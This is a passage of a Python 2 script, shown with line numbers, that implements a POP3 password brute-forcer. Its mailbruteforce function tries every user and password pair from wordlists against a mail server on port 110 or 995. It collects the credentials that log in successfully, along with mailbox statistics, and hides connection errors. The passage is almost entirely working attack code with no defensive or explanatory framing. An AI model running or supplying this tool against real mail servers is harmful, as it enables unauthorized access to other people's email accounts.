| 61 | print "[+] Server response:",welcome,"\n" |
| 62 | |
| 63 | def mailbruteforce(listuser,listpwd,type): |
| 64 | if len(listuser) < 1 or len(listpwd) < 1 : |
| 65 | print "[-] Error: An error occurred: No user or pass list\n" |
| 66 | return 1 |
| 67 | |
| 68 | for user in listuser: |
| 69 | for passwd in listpwd : |
| 70 | user = user.replace("\n","") |
| 71 | passwd = passwd.replace("\n","") |
| 72 | |
| 73 | try: |
| 74 | print "-"*12 |
| 75 | print "[+] User:",user,"Password:",passwd |
| 76 | |
| 77 | # time.sleep(0.1) |
| 78 | if type in ['163','236']: |
| 79 | popserver = poplib.POP3(server,110) |
| 80 | else: |
| 81 | popserver = poplib.POP3_SSL(server,995) |
| 82 | popserver.user(user) |
| 83 | auth = popserver.pass_(passwd) |
| 84 | print auth |
| 85 | |
| 86 | if auth.split(' ')[0] == "+OK" or auth =="+OK": |
| 87 | ret = (user,passwd,popserver.stat()[0],popserver.stat()[1]) |
| 88 | success.append(ret) |
| 89 | #print len(success) |
| 90 | popserver.quit() |
| 91 | break |
| 92 | else : |
| 93 | popserver.quit() |
| 94 | continue |
| 95 | |
| 96 | except: |
| 97 | #print "An error occurred:", msg |
| 98 | pass |
| 99 | |
| 100 | if __name__ == '__main__': |
| 101 | mailbruteforce(users,words,sys.argv[1]) |